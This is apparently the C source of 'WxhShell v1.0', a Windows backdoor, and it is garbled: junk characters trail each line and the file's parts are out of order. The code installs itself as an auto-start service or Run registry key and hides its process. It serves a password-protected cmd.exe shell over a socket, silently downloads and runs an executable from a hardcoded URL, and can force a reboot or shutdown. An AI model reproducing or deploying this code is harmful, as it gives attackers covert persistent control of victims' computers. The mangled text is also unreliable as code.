    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z}6^ve  
    else { R W/z1  
    closesocket(wsh); 5jcte< 5I_  
    ExitThread(0); S=|@L<O  
    } L@Nu/(pB=  
    break; LRb, VD:/Y  
    } 4_?7&G0(  
  // 获取shell 'fd1Pj9~$  
  case 's': { i b6^x:HGU  
    CmdShell(wsh); ( )T[$.(  
    closesocket(wsh); G=9d&N  
    ExitThread(0); a:STQk V  
    break; |AZW9  
  } io2)1cE&f  
  // 退出 R!\EK H  
  case 'x': { .p` pG3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Ixx<9c.  
    CloseIt(wsh); 9"{W,'r&d  
    break; j7QX ,_Q  
    } ?uLeFD  
  // 离开 uzr\oj+>  
  case 'q': { B2=\2<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o2H1N~e#c  
    closesocket(wsh); G@ \Pi#1  
    WSACleanup(); 32)tJ|m  
    exit(1); J4$! 68  
    break; .^(/n9|o-  
        } +C]&2zc.  
  } v6(E3)J7  
  } 256LHY|6  
y2L#:[8  
  // 提示信息 uq3{h B#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F"+o@9]  
} m` AK~O2  
  } D=f7NVc>Q  
: esg(  
  return; YvL?j  
} Y$>-%KcKeI  
bzpFbfb  
// shell模块句柄 )eeN1G`rDE  
int CmdShell(SOCKET sock) 3 fj  
{ p/6zEZ*  
STARTUPINFO si; p zw8T  
ZeroMemory(&si,sizeof(si)); Dr<='Ux[5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k`KGB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <!d"E@%v@  
PROCESS_INFORMATION ProcessInfo; "8f?h%t  
char cmdline[]="cmd"; v5}X+'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {lG@hN'  
  return 0; E$s/]wnr[  
} kh$_!BT  
#Il_J\#  
// 自身启动模式 PG%0yv%  
int StartFromService(void) R{YzH56M  
{ a dfR!&J  
typedef struct ,U,By~s  
{ C]u',9,  
  DWORD ExitStatus; 9' 1B/{  
  DWORD PebBaseAddress; E\7m< 'R  
  DWORD AffinityMask; %V!iQzL1  
  DWORD BasePriority; )}v 3q6?_  
  ULONG UniqueProcessId; R9vT[{!i  
  ULONG InheritedFromUniqueProcessId; $"JpFT  
}   PROCESS_BASIC_INFORMATION; +!t}  
}CL"S_>1  
PROCNTQSIP NtQueryInformationProcess; &jA\hg#9  
*hhmTc#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l(W[_ D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Aes#{R3v  
,Dmc2D  
  HANDLE             hProcess; ]:]H:U]p  
  PROCESS_BASIC_INFORMATION pbi; #U7_a{cn"M  
)P&9A)8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y8Xv~4qQW  
  if(NULL == hInst ) return 0; 5i6 hp;=  
>B -q@D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &Nl2s ey  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \5 pu|2u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fe&qwq"  
\p&~ ,%  
  if (!NtQueryInformationProcess) return 0; >u +q1j.  
ZM#=`k9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _m E^rT  
  if(!hProcess) return 0; P@}Pk  
0*%&>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t !`Jse>  
kTIYD o  
  CloseHandle(hProcess); +%>:0mT  
n^(A=G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); km5~Gc}  
if(hProcess==NULL) return 0; qNgd33u1  
%y[1H5)3<  
HMODULE hMod; A?!I/|E^;  
char procName[255]; 7Ey#u4Q  
unsigned long cbNeeded; "@3@/I  
8ovM\9qT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XE3aXK'R  
.\3`2  
  CloseHandle(hProcess); 'm=*u SJK  
8OhDjWVJ  
if(strstr(procName,"services")) return 1; // 以服务启动 7k%T<;V  
4DWwbO  
  return 0; // 注册表启动 [dX`K`k  
} z2c5m  
M(q'%XL^  
// 主模块 e&q?}Ho  
int StartWxhshell(LPSTR lpCmdLine)  l]!9$  
{ '(+<UpG_Q}  
  SOCKET wsl; 8y';\(;  
BOOL val=TRUE; v`[Eb27W.  
  int port=0; 's x\P[a  
  struct sockaddr_in door; qOV[TP,  
CG]Sj*SA~  
  if(wscfg.ws_autoins) Install(); :,pSWfK H  
 4-Z()F  
port=atoi(lpCmdLine); ;$j7H&UNQj  
Btt]R  
if(port<=0) port=wscfg.ws_port; Yepe=s+9  
?kw&=T !  
  WSADATA data; al9.}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {U!St@  
Z{NC9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VObrlOkp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j5$BK[p.  
  door.sin_family = AF_INET; *!e(A ]&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <-Bx&Q  
  door.sin_port = htons(port); &<'n^n  
a?5[k}\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z(0@1l`Z-`  
closesocket(wsl); .y5,x\Pq(  
return 1; ._:nw=Y0<}  
} g&/p*c_  
f3*?MXxb16  
  if(listen(wsl,2) == INVALID_SOCKET) { K!AAGj`  
closesocket(wsl); /(C~~XP)  
return 1; 7sNw  
} 1Y xgR}7  
  Wxhshell(wsl); H&}ipaDO  
  WSACleanup(); ^t "iX9  
#<7O08 :  
return 0; o`,Qku k  
%i0?UpA  
} 7B9`<{!h  
>?W[PQ5yx  
// 以NT服务方式启动 &Bb<4R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @+,pN6}g  
{ L];y}]:F*  
DWORD   status = 0; 'WyTI^K9  
  DWORD   specificError = 0xfffffff; ?wpB`  
VxO%rq3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M.}7pJ7f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #b0{#^S:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8t"~Om5sG  
  serviceStatus.dwWin32ExitCode     = 0; )wXuwdc[  
  serviceStatus.dwServiceSpecificExitCode = 0; C R<`ZNuWz  
  serviceStatus.dwCheckPoint       = 0; v{x{=M]  
  serviceStatus.dwWaitHint       = 0; -]G(ms;}/Y  
(LAXM x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2i#Sn'1  
  if (hServiceStatusHandle==0) return; (kBP(2V  
?|;yVew  
status = GetLastError(); 5-u=o )>  
  if (status!=NO_ERROR) u<ySd?  
{ eHg3}b2r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "](6lB1Oe  
    serviceStatus.dwCheckPoint       = 0; 7XrfuG*L$  
    serviceStatus.dwWaitHint       = 0; cvsz%:Vs  
    serviceStatus.dwWin32ExitCode     = status; z +2V4s=  
    serviceStatus.dwServiceSpecificExitCode = specificError; wgeNs9L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pj|pcv^  
    return; Q'B6^%:<~  
  } l?E a#  
sPAg)6&M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Rxe~n1o  
  serviceStatus.dwCheckPoint       = 0; H/F+X?t$0  
  serviceStatus.dwWaitHint       = 0; q]& .#&h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]ekk }0  
} 3*_fzP<R  
A^fjfa);V  
// 处理NT服务事件,比如:启动、停止 =V+I=rqo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <g8K})P  
{ 9|' B9C  
switch(fdwControl) }71LLzG`/  
{ /Poet%XvRx  
case SERVICE_CONTROL_STOP: (3vHY`9  
  serviceStatus.dwWin32ExitCode = 0; I XA>`D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (n( fI f  
  serviceStatus.dwCheckPoint   = 0; z;u> Yz+3  
  serviceStatus.dwWaitHint     = 0; 0CvsvUN@  
  { t/i5,le  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C2e.2)y  
  } F-Z%6O,2  
  return; UnWW/]E  
case SERVICE_CONTROL_PAUSE: a.F Al@Br  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )8gGv  
  break; sE(HZR1  
case SERVICE_CONTROL_CONTINUE: 8Ad606  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %6j)=IOts  
  break; d?idTcgs  
case SERVICE_CONTROL_INTERROGATE: m"tOe?  
  break; zQy"m-Q  
}; 3ucP(Ex@tg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}%D"gz  
} JM$.O;y -  
nHFrG =o,  
// 标准应用程序主函数 "LhUxnll  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Jc_Fc(M  
{ -XoPia2  
pI`?(5iK6|  
// 获取操作系统版本 GDaN  
OsIsNt=GetOsVer(); ^[:9fs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W><Zn=G4)b  
tEd.'D8 s  
  // 从命令行安装 s)A<=)w/e  
  if(strpbrk(lpCmdLine,"iI")) Install(); % u{W7  
JD>d\z2QC  
  // 下载执行文件 igf )Hb;5  
if(wscfg.ws_downexe) { Ha>*?`?yI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gv15t'y9  
  WinExec(wscfg.ws_filenam,SW_HIDE); UK#&lim  
} qKS;x@  
C z#Z<:  
if(!OsIsNt) { T4e\0.If  
// 如果时win9x,隐藏进程并且设置为注册表启动 n7aU<`U  
HideProc(); pI+!92Z  
StartWxhshell(lpCmdLine); !X >=l  
} ]T! }XXK  
else #1'\.v  
  if(StartFromService()) a[bBT@f  
  // 以服务方式启动 CLD-mx|?  
  StartServiceCtrlDispatcher(DispatchTable); AT Zhr. H  
else AZ|yX  
  // 普通方式启动 ,"-Rf<q/  
  StartWxhshell(lpCmdLine); ^^` Jcd/  
wJb#g0  
return 0; 2Tav;LKX  
} SM0M%  
5`/@N{e  
.@ C{3$,VG  
Rn%N&1 Ef  
=========================================== Ko>&)%))$X  
f67NWFX  
4o:hyh   
R$kpiqK  
=tTqN+4  
^(}585b  
" @*N )i?>  
w JwX[\  
#include <stdio.h> $Kj&)&M  
#include <string.h> %b.UPS@I  
#include <windows.h>  q}Z3?W  
#include <winsock2.h> 8{U-m0v  
#include <winsvc.h> FxG7Pk+=  
#include <urlmon.h> 6Z?j AXGSq  
Z!xVgM{  
#pragma comment (lib, "Ws2_32.lib") |xr%6 [Ff  
#pragma comment (lib, "urlmon.lib") n@C~ev@%S  
_;A $C(  
#define MAX_USER   100 // 最大客户端连接数 ~Aad9yyi  
#define BUF_SOCK   200 // sock buffer _STB$cZ  
#define KEY_BUFF   255 // 输入 buffer a\uie$"cr]  
/(I*,.d  
#define REBOOT     0   // 重启 DH DZ_t:  
#define SHUTDOWN   1   // 关机 eg"Gjp- 4=  
kU5.iK'  
#define DEF_PORT   5000 // 监听端口 4Q=ftY<  
g_*T?;!.U  
#define REG_LEN     16   // 注册表键长度 8?t"C_>*e  
#define SVC_LEN     80   // NT服务名长度 /NT[ETMk+  
@(``:)Z<b  
// 从dll定义API *MN HT`Y^o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a>4uiFiv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2g*J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I:(m aMc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BIaDY<j90  
h.rD}N\L  
// wxhshell配置信息 $h9='0Wi0'  
struct WSCFG { `D( xv  
  int ws_port;         // 监听端口 /5AW?2)  
  char ws_passstr[REG_LEN]; // 口令 #0I{.Wy]  
  int ws_autoins;       // 安装标记, 1=yes 0=no |4)  
  char ws_regname[REG_LEN]; // 注册表键名 >4m'tZ8  
  char ws_svcname[REG_LEN]; // 服务名 +,+vkpL-%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WE}kTq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hs"(@eDV&J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6TWWl U^e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5 v^yQ<70  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u/b7Z`yX}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h)lPi   
b/$km?R  
}; :vx$vZb  
6Q4X 6U:WB  
// default Wxhshell configuration IJOvnZ("A  
struct WSCFG wscfg={DEF_PORT, rn@`yTw^  
    "xuhuanlingzhe", U;_[b"SW%  
    1, X#xFFDzN  
    "Wxhshell", %sh>;^58P  
    "Wxhshell", &MmU  
            "WxhShell Service", _eSd nHWx  
    "Wrsky Windows CmdShell Service", LVIAF0kX  
    "Please Input Your Password: ", q:>^ "P{  
  1, |as!Ui/J/  
  "http://www.wrsky.com/wxhshell.exe", S&O3HC  
  "Wxhshell.exe" ] U@o0  
    }; -!RtH |P  
@YvOoTyb  
// 消息定义模块 Gz I~TWc+G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vq*Q.0M+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VO3pm6r5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5F+APz7  
char *msg_ws_ext="\n\rExit."; E! /[gZ  
char *msg_ws_end="\n\rQuit."; QR?yG+VU  
char *msg_ws_boot="\n\rReboot..."; )CPM7>  
char *msg_ws_poff="\n\rShutdown..."; JG`Q;K  
char *msg_ws_down="\n\rSave to "; _Jz8{` "  
aeyNdMk -  
char *msg_ws_err="\n\rErr!"; D'<VYl"/  
char *msg_ws_ok="\n\rOK!"; f8 /'%$N  
!9*c8bL D  
char ExeFile[MAX_PATH]; A*h{Lsx;  
int nUser = 0; i LBvGZ<9  
HANDLE handles[MAX_USER]; +.B<Hd  
int OsIsNt; U=Y)V%  
1[F3 Z  
SERVICE_STATUS       serviceStatus; sRVIH A ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z#d&|5Xj  
?rVy2!  
// 函数声明 eO=s-]mk  
int Install(void); 6dH }]~a  
int Uninstall(void); tbo>%kn  
int DownloadFile(char *sURL, SOCKET wsh); Xy,lA4IP  
int Boot(int flag); }_tln  
void HideProc(void); `cz2DR-"  
int GetOsVer(void); KAA-G2%M  
int Wxhshell(SOCKET wsl); n>3U_yt6b  
void TalkWithClient(void *cs); }K1 0Po'  
int CmdShell(SOCKET sock); ^{$FI`P  
int StartFromService(void); F+ <Z<q  
int StartWxhshell(LPSTR lpCmdLine); v!3A9!.  
#v#<itfFH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S>G?Q_&}?D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -hcS]~F  
]G.%Ty  
// 数据结构和表定义 p?[Tm*r  
SERVICE_TABLE_ENTRY DispatchTable[] = ( GnuWc\p  
{ `J<*9dq%  
{wscfg.ws_svcname, NTServiceMain}, +[@z(N-h  
{NULL, NULL} j| Wv7  
}; 5 S Xn?  
_!;Me )C  
// 自我安装 N/YWby=H  
int Install(void) 6h?gs"[j  
{ 'crlA~&#/  
  char svExeFile[MAX_PATH]; c5q9 LQ/  
  HKEY key; ?SQE5Z  
  strcpy(svExeFile,ExeFile); |@?%Ct  
!?f5>Bl  
// 如果是win9x系统,修改注册表设为自启动 _EnwME {@  
if(!OsIsNt) { C$Lu]pIL*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r0t^g9K0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pA.J@,>`}  
  RegCloseKey(key); >4Y3]6N0.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rD?L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2n><RZ/9  
  RegCloseKey(key); =@Dwlze  
  return 0; I4;A8I  
    } 3K&4i'}V  
  } 84HUBud76Y  
} c0c|z Ym  
else { m42T9wSsx  
^2d!*W|  
// 如果是NT以上系统,安装为系统服务 AT2v!mNyCw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %:>3n8n  
if (schSCManager!=0) Sw^X2$h  
{ 65 z"  
  SC_HANDLE schService = CreateService ^ &E}r{?  
  ( kp?w2+rz  
  schSCManager, 1XG!$ 4DW  
  wscfg.ws_svcname, I{JU-J k|  
  wscfg.ws_svcdisp, 4p%A8%/q  
  SERVICE_ALL_ACCESS, M)*\a/6?{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6-`|:[Q~  
  SERVICE_AUTO_START, QY/hI `  
  SERVICE_ERROR_NORMAL, DU%w1+u  
  svExeFile, 4p;aS$Q  
  NULL, 4v p  
  NULL, kP#e((f,  
  NULL, A,su;Q h  
  NULL, i'd2[A.7I  
  NULL ,h|qi[7  
  ); f~E*Zz`;  
  if (schService!=0) Vc^HVyAx@n  
  { _0+0#! J!  
  CloseServiceHandle(schService); j R=s#Xz  
  CloseServiceHandle(schSCManager); >56>*BHD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x@mL $  
  strcat(svExeFile,wscfg.ws_svcname); &aM7T_h8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ob+euCuJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f>'Y(dJ'W  
  RegCloseKey(key); 01!s"wjf  
  return 0; V)Z70J <'  
    } d]9U^iy  
  } Bwr3jV?S  
  CloseServiceHandle(schSCManager); Z\[N!Zt|  
} Va Z!.#(P  
} pEECHk  
(R`B'OtGg  
return 1; r&-m=Kk$  
} 9a'-Y  
Uax+dl   
// 自我卸载 (F7(^.MG  
int Uninstall(void) j4=(H:c~E  
{ 3+ >G#W~  
  HKEY key; hF2IW{=!  
AM=z`0so  
if(!OsIsNt) { +C7 ~b~ %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zMIT}$L  
  RegDeleteValue(key,wscfg.ws_regname); Zmbfq8K  
  RegCloseKey(key); dr4Z5mw"E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I ZQHu h  
  RegDeleteValue(key,wscfg.ws_regname); l & Dxg  
  RegCloseKey(key); t|t#vcB  
  return 0; kd"N 29  
  } a^,(v  
} w[P4&?2:  
} f#ri'&}c :  
else { 0"~i ^   
"~TA SX_?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ? ` SUQm  
if (schSCManager!=0) XMG]Wf^%\<  
{ \uss Uv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1+?^0%AC  
  if (schService!=0) hsu{eyp  
  { fnx-s{c?  
  if(DeleteService(schService)!=0) { fdONP>K[E  
  CloseServiceHandle(schService); Dk48@`l2  
  CloseServiceHandle(schSCManager); (a9d/3M  
  return 0; IK*07h/!  
  } vn/.}GkpU  
  CloseServiceHandle(schService); ">?vir^  
  } )O:0 ]=#))  
  CloseServiceHandle(schSCManager); 26CS6(sn  
} 6(P M'@i  
} @{Gncy|  
E 7-@&=]v  
return 1; Ov<NsNX]  
} \9-"M;R.d  
G:g69=x y  
// 从指定url下载文件 dz Zb  
int DownloadFile(char *sURL, SOCKET wsh) `~eUee3b.~  
{ QeF3qXI  
  HRESULT hr; FVh U^  
char seps[]= "/"; ftH:r_"O#  
char *token; KZPEG!-5  
char *file; B=|cS;bM$3  
char myURL[MAX_PATH]; X$/2[o#g  
char myFILE[MAX_PATH]; dH( ('u[  
NHlk|Y#6b  
strcpy(myURL,sURL); uslQ*7S[^  
  token=strtok(myURL,seps); +}jJ&Z9 )  
  while(token!=NULL) XrZ*1V  
  { V)}rEX   
    file=token; v%Wx4v@%SE  
  token=strtok(NULL,seps); ,AT[@  
  } (p%>j0<  
A_KW(;50  
GetCurrentDirectory(MAX_PATH,myFILE); >M&3Y XC  
strcat(myFILE, "\\"); ](|\whI  
strcat(myFILE, file); ID/ F  
  send(wsh,myFILE,strlen(myFILE),0); HV<Lf 6gE  
send(wsh,"...",3,0); 1'? 4m0W1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R :B^  
  if(hr==S_OK) Y))NK'B5  
return 0; J=/5}u_gw  
else *2jK#9"MP  
return 1; r&FDEBh  
Yw0[[N<SW  
} 4*$G & TX  
e1P"[|9>R  
// 系统电源模块 7g3 >jh  
int Boot(int flag) ;J7F J3n  
{ o=`C<}  
  HANDLE hToken; jlxpt)0i  
  TOKEN_PRIVILEGES tkp; 2#k5+?-c61  
AlJ} >u  
  if(OsIsNt) { r(9~$_(vK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XVU2T5s}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z?35=%~w   
    tkp.PrivilegeCount = 1; (y^vqMz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1)Zf3Y8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TsTPj8GAl[  
if(flag==REBOOT) { ({o'd=nO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l#n,Fg3  
  return 0; R4-~jgzx  
} tsk)zP,<  
else { n'emN Ra  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0V?F'<qy  
  return 0; 8g7<KKw  
} -44&#l^}_u  
  } j)q\9#sI/(  
  else { &4_qF^9J  
if(flag==REBOOT) { i&n'N8D@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /t(C>$ }p  
  return 0; &iV{:)L  
} dUsx vho  
else { --DoB=5%8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,cq F3   
  return 0; Q$fmD  
} A@Dw<.&_I  
} sq'Pyz[[  
YID4w7|  
return 1; c_>f0i  
} Od|$Y+@6  
p'om-  
// win9x进程隐藏模块 +zs4a96[  
void HideProc(void) .aflsUD  
{ yxc=Z0~1  
V(E/'DR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ccL~#c0P7  
  if ( hKernel != NULL ) 3'X.}>o   
  { (P`3 @H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +U@<\kIF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZzX~&95G  
    FreeLibrary(hKernel); n?c]M  
  } M %Qt|@O  
 E6WA}_  
return; x|vqNZ\F  
} Z:_D0jG  
BGfzslK  
// 获取操作系统版本 S<J}[I7V  
int GetOsVer(void) ,#8e_3Z$  
{ n..g~ $k  
  OSVERSIONINFO winfo; e$pMsw'MJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BXyo  
  GetVersionEx(&winfo); y.q(vzg\_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x+]\1p  
  return 1; s8h-,@p  
  else )K2HK&t:  
  return 0; & j+oJasI  
} M8TSt\  
-! K-Htb-  
// 客户端句柄模块 /S lYm-uQ+  
int Wxhshell(SOCKET wsl) 1PatH[T[  
{ {,L+1h  
  SOCKET wsh; jkvgoxY  
  struct sockaddr_in client; tzh1s i  
  DWORD myID; nb>7UN.9  
ivz{L-  
  while(nUser<MAX_USER) {+@bZ}57  
{ 9rA=pH%<>B  
  int nSize=sizeof(client); r4#o+qE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ggb5K8D*  
  if(wsh==INVALID_SOCKET) return 1; <=,6p>Eo[  
-uy`!A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pf7it5  
if(handles[nUser]==0) [#sz WNfU  
  closesocket(wsh); L~KM=[cn  
else d0,s"K7@  
  nUser++; ~JH:EB:  
  } _hk.2FV:3m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T'b_W,m~,u  
=*LS%WI  
  return 0; %x} O1yV  
} $ O5UyKI  
)<Hd T  
// 关闭 socket s S7c!  
void CloseIt(SOCKET wsh) vZBc !AW  
{ 0MdDXG-7  
closesocket(wsh); YGsWu7dG  
nUser--; d09k5$=gJ  
ExitThread(0); cx0*X*  
} BGu?<bET  
a 7,C>%I  
// 客户端请求句柄 AoI/n4T^  
void TalkWithClient(void *cs) xoR;=ph  
{ bv*,#Qm  
aVd,xl  
  SOCKET wsh=(SOCKET)cs; :]1 TGfS  
  char pwd[SVC_LEN]; 2Roc|)-47  
  char cmd[KEY_BUFF]; Kp,M"Y  
char chr[1]; -Zz$~$  
int i,j; w4d--[Q  
[2{1b`e  
  while (nUser < MAX_USER) { ^R@j=_8}  
Jtk|w[4L  
if(wscfg.ws_passstr) { aX}P|l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GF^071]G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6}oXP_0U  
  //ZeroMemory(pwd,KEY_BUFF); ,9o"43D:a|  
      i=0; dB5b@9*  
  while(i<SVC_LEN) { >#y^;/bb  
bAm(8nT7w  
  // 设置超时 EB8\_]6XJ  
  fd_set FdRead; 1[vi.  
  struct timeval TimeOut; oTuOw|[  
  FD_ZERO(&FdRead); .?Gd'Lp  
  FD_SET(wsh,&FdRead); jav#f{'  
  TimeOut.tv_sec=8; =Yt R`  
  TimeOut.tv_usec=0; #*(t d<Cp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a qc?pqM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v3jg~"!  
$"H{4 x`-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bG(3^"dS  
  pwd=chr[0]; AlIpsJ[UU  
  if(chr[0]==0xd || chr[0]==0xa) { a0ObBe'  
  pwd=0; ;{" +g)u  
  break; 81i655!Z  
  } L# 2+z@g  
  i++; 7fba-7-P  
    } w2'f/  
 pn5Q5xc  
  // 如果是非法用户,关闭 socket K]0JC/R6(@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5)MS~ii  
} }dd8N5b  
#hsx#x||  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EL9]QI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B,=H@[Fj  
/x1![$oC0  
while(1) { &mtJRfnu  
HI11Jl}{  
  ZeroMemory(cmd,KEY_BUFF);  #c66)  
|YY_^C`"-  
      // 自动支持客户端 telnet标准   ]f({`&K5  
  j=0; ]&pds\  
  while(j<KEY_BUFF) { M!XsJ<jN/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j_. 5r&w  
  cmd[j]=chr[0]; t8+X%-r  
  if(chr[0]==0xa || chr[0]==0xd) { ]@Uq=?%  
  cmd[j]=0; |VNnOM  
  break; nPy$D-L,  
  } _<OSqE  
  j++; vG"=h%  
    } uD @#  
lH6OcD:kj  
  // 下载文件 +P`*kj-P\  
  if(strstr(cmd,"http://")) { Kiu_JzD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1jF`5k  
  if(DownloadFile(cmd,wsh)) PU1Qsb5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); trp0 V4b8  
  else [S>2ASj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AGYc |;  
  } 1BpiV-]=  
  else { 7M<'/s  
F6{bjv2A  
    switch(cmd[0]) { /Id%_,}Kb  
  [.uG5%fa  
  // 帮助 K8UP,f2  
